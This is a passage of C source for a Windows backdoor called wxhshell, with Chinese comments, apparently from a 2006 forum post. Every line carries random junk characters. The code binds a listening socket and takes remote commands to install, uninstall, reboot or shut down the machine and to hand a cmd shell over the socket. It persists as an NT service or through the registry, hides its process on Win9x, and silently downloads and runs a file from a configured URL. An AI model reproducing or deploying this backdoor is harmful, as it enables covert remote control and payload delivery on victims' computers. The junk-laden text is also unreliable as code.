  else { 7F.4Ga;  
% A0/1{(  
    switch(cmd[0]) { ql~J8G9  
  u_Z+;{]Pj  
  // 帮助 e&>2 n  
  case '?': { F_P~x(X  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 3o/[t  
    break; O^rDHFj,  
  } b| (: [nB  
  // 安装 |JsZJ9W+J  
  case 'i': { _,*r_D61S  
    if(Install()) KqP#6^ _  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )=(kBWM  
    else M869MDo  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *qpSXmOz  
    break; M)(DZ}  
    } oxtay7fx  
  // 卸载 F((4U"   
  case 'r': { _)iCa3z  
    if(Uninstall()) An0GPhC  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); yaX iE_.  
    else cm+P]8o%{  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &#i"=\d  
    break; b7ZSPXV  
    } NwfVL4Xg  
  // 显示 wxhshell 所在路径 tO&^>&;5  
  case 'p': { N6TH}~62}  
    char svExeFile[MAX_PATH]; 86H+h (R/  
    strcpy(svExeFile,"\n\r"); |5]X| v  
      strcat(svExeFile,ExeFile); cidP|ie^  
        send(wsh,svExeFile,strlen(svExeFile),0); f%8C!W]Dm  
    break; "ocyK}l.?  
    } zKK9r~ M  
  // 重启 b~cZS[S  
  case 'b': { l%=;  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); MpOc  
    if(Boot(REBOOT)) ]I6  J7A[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0tJ Z4(0  
    else { tT._VK]o&R  
    closesocket(wsh); Ew$C ;&9  
    ExitThread(0); *yGGBqd  
    } 5`_SN74o  
    break; qcRs$-J  
    } f?)-}\[IR{  
  // 关机 @E8+C8'  
  case 'd': { >.D4co>  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); u]G\H!Wk Q  
    if(Boot(SHUTDOWN)) H%{+QwzZ[j  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2>59q$ |  
    else { JsS-n'gF'  
    closesocket(wsh); ^kSqsT"  
    ExitThread(0); 0IWf!Sk ]  
    } BL4-7  
    break; -7|H}!DFT  
    } $Z>'Jp  
  // 获取shell o;R I*I  
  case 's': { A<fG}q1#  
    CmdShell(wsh); 8l">cVo]T  
    closesocket(wsh); [.}oyz; }N  
    ExitThread(0); ;O #>Y  
    break; q0 \6F^;M  
  } Zgb!E]V[  
  // 退出 N)Z?Z+ }h  
  case 'x': { L4l!96]a  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); #|``ca54B  
    CloseIt(wsh); /wlEe>i  
    break; B|X!>Q<g  
    } -%4,@ x`  
  // 离开 {7pli{`  
  case 'q': { D3K8F@d  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 3 8`<:{^Y  
    closesocket(wsh); W!(LF7_!  
    WSACleanup(); q75s#[<ap  
    exit(1); 9o!Bzy+_  
    break; HtYwEjI  
        } e8 b:)"R  
  } Dum9lj  
  } N4HqLh23H  
@|T'0_'  
  // 提示信息 Z$? #  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Z5]>pJFq,  
} l9H!au=  
  } 7cMv/g^ h@  
@=f\<"$vt  
  return; t.C5+^+%  
} H" 7u7l  
k~z Iy;AZ  
// shell模块句柄 Oa>Ppldeg  
int CmdShell(SOCKET sock) mB)bcuPv  
{ 1m0c|ckb  
STARTUPINFO si; Z<{QaY$"  
ZeroMemory(&si,sizeof(si)); is@?VklnB  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 5Jnlz@P9  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; E&:,oG2M  
PROCESS_INFORMATION ProcessInfo; I1&aM}y{G  
char cmdline[]="cmd"; MnW+25=N  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); k$}fWR  
  return 0; #A8sLkY  
} *}W_+qo"  
8*a&Jl  
// 自身启动模式 ""~ajy  
int StartFromService(void) Yu2Bkq+  
{ Ny)X+2Ae  
typedef struct C+&l< fM&  
{ DLNb o2C  
  DWORD ExitStatus; seeB S/%  
  DWORD PebBaseAddress; ~4cC/"q$X  
  DWORD AffinityMask; {H'Y `+  
  DWORD BasePriority; o*hF<D$Y  
  ULONG UniqueProcessId; FHI ;)wn=  
  ULONG InheritedFromUniqueProcessId; ENY+^7  
}   PROCESS_BASIC_INFORMATION; BTrn0  
;i+#fQO7Q  
PROCNTQSIP NtQueryInformationProcess; 8DaL,bi*.  
^sWT:BDh  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; o2\8OxcA  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; R@rBEW&  
d m%8K6|  
  HANDLE             hProcess; ;i:d+!3XwC  
  PROCESS_BASIC_INFORMATION pbi; R ViuJ;  
}*"p?L^p{  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); "g8M0[7e3  
  if(NULL == hInst ) return 0; X!g#T9kG  
Uf+%W;}  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); "C`Ub  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); [}]Q?*_  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); S>1Iky|  
-A!%*9Z  
  if (!NtQueryInformationProcess) return 0; 7Hu3>4<  
Nda *L|  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); _zMW=nypdx  
  if(!hProcess) return 0; xKp4*[}m  
=_u4=4  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Thit  
VY\&8n}e(  
  CloseHandle(hProcess); SasJic2M  
)53y AyP  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); du^J2m{f  
if(hProcess==NULL) return 0; *CHX  
(dSL7nel;L  
HMODULE hMod; @f_+=}|dc  
char procName[255]; [ !OxZ!  
unsigned long cbNeeded; |ZBI *  
#Mw8^FST  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); #>+HlT  
Y:a]00&)#Y  
  CloseHandle(hProcess); f& '  
N]sAji*  
if(strstr(procName,"services")) return 1; // 以服务启动 I,8Er2;)  
icK/],  
  return 0; // 注册表启动 "'\$ g[k  
} 3m)y|$R  
um0N)&iY  
// 主模块 P";'jVcR  
int StartWxhshell(LPSTR lpCmdLine) 83q6Sv  
{ Ph> %7M%  
  SOCKET wsl; "9e\c;a  
BOOL val=TRUE; gB'6`'  
  int port=0; Q'0d~6n&{  
  struct sockaddr_in door; G'A R`"F  
sON|w86B  
  if(wscfg.ws_autoins) Install(); n.(FQx.F  
@MCg%Afw  
port=atoi(lpCmdLine); g}',(tPMZ  
~Jz6O U*z  
if(port<=0) port=wscfg.ws_port; tZG:Pr1U@  
z' >_Mc6  
  WSADATA data; n6a`;0f[R  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; kW&TJP+5*  
[IhYh<i  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Ek]'km!  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); )+2hl  
  door.sin_family = AF_INET; Jg| XH L)  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); em N*l]N  
  door.sin_port = htons(port); }9fTF:P  
mL: sJf  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { [HZv8HU|  
closesocket(wsl); |# 2.Q:&  
return 1; Q$Q([Au  
} Npy :!  
6~w@PRy  
  if(listen(wsl,2) == INVALID_SOCKET) { N//K Ph  
closesocket(wsl); <GaS36ZW  
return 1; y_lU=(%Jd  
} r<^HmpUJ  
  Wxhshell(wsl); B_m8{44zM  
  WSACleanup(); >I&5j/&}+  
81Z) eO#  
return 0; ^$hH1H+V  
hZ  
} v^ V itLC  
:G%61x&=Zc  
// 以NT服务方式启动 $ gS>FJ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) @2 fg~2M1  
{ E09 :E  
DWORD   status = 0; v z '&%(  
  DWORD   specificError = 0xfffffff; 0.k7oB;f(@  
W|63Ir67  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 7E~;xn;  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; fS78>*K  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Z}Ft:7   
  serviceStatus.dwWin32ExitCode     = 0; W v+?TEP  
  serviceStatus.dwServiceSpecificExitCode = 0; A{D];pE`  
  serviceStatus.dwCheckPoint       = 0; Fy-t T]Q9  
  serviceStatus.dwWaitHint       = 0; ?2Py_gkf  
wEvVL  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); P me^l%M  
  if (hServiceStatusHandle==0) return; |4 0`B% Z  
,wAF:7'  
status = GetLastError(); :^B1~p(?sK  
  if (status!=NO_ERROR) O[JL+g4  
{ 7! INkH]  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 5taT5?n2  
    serviceStatus.dwCheckPoint       = 0; {[?(9u7R  
    serviceStatus.dwWaitHint       = 0; 1NA.nw.  
    serviceStatus.dwWin32ExitCode     = status; ^sLdAC  
    serviceStatus.dwServiceSpecificExitCode = specificError; Cd}<a?m,  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 68WO~*  
    return; \n|EM@=eE  
  } Fyatd  
CN8Y\<Ar  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; *mvlb (' &  
  serviceStatus.dwCheckPoint       = 0; t=W}SH  
  serviceStatus.dwWaitHint       = 0; mSl.mi(JiZ  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Trz@~d/[,n  
} ok\vQs(a  
Q:d]imw!O  
// 处理NT服务事件,比如:启动、停止 0[?Xxk}s0  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ?QdWrE_  
{ PP33i@G  
switch(fdwControl) @YTaSz$L  
{ )cMh0SGcM1  
case SERVICE_CONTROL_STOP: jLHkOk5{:  
  serviceStatus.dwWin32ExitCode = 0; Sk\K4  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; :emiQ  
  serviceStatus.dwCheckPoint   = 0;  Sw, +p  
  serviceStatus.dwWaitHint     = 0; Ig0VW)@  
  { aNspMJ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5IjGm  
  } |~mOfuQb  
  return; ra gXn  
case SERVICE_CONTROL_PAUSE: O`t&ldU  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; l L@XM2"  
  break; y(yHt= r  
case SERVICE_CONTROL_CONTINUE: qHlQ+:n  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; -3Z,EaG^  
  break; O23k:=Av  
case SERVICE_CONTROL_INTERROGATE: q Y? j#fzi  
  break; O ^duZ*b  
}; e)? .r9pA;  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); =|y9UlsD  
} j[J-f@F \Y  
E,x+JeKV  
// 标准应用程序主函数 0gP}zM73  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) X[BIA+6  
{ 0)e\`Bv  
A&Usddcp  
// 获取操作系统版本 ~/iKh1 1  
OsIsNt=GetOsVer(); 6wjw^m0  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 1FL~ndJs  
LxSpctiNx  
  // 从命令行安装 >7T'OC  
  if(strpbrk(lpCmdLine,"iI")) Install(); h_3E)jc  
0#Y5_i|p  
  // 下载执行文件 a:OQGhc=  
if(wscfg.ws_downexe) { ~1AgD-:Jz  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) `MN4uC  
  WinExec(wscfg.ws_filenam,SW_HIDE); V1 `o%;j  
} RmeD$>7  
SBk4_J/_  
if(!OsIsNt) { k:#!zK}  
// 如果时win9x,隐藏进程并且设置为注册表启动 [ =9T*Sp  
HideProc(); #:U%mHT(_  
StartWxhshell(lpCmdLine); `V)8 QRN(  
} +`3)oPV)  
else ' ;FnIZ  
  if(StartFromService()) Ma']?Rb`  
  // 以服务方式启动 S3*`jF>q  
  StartServiceCtrlDispatcher(DispatchTable); h-K_Lr]  
else m6\E$;`  
  // 普通方式启动 ~#[yJNYQ  
  StartWxhshell(lpCmdLine); .K2qXw"S#  
n&qg;TT  
return 0; ;LPfXpR  
}
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只看该作者 1 发表于: 2006-10-10
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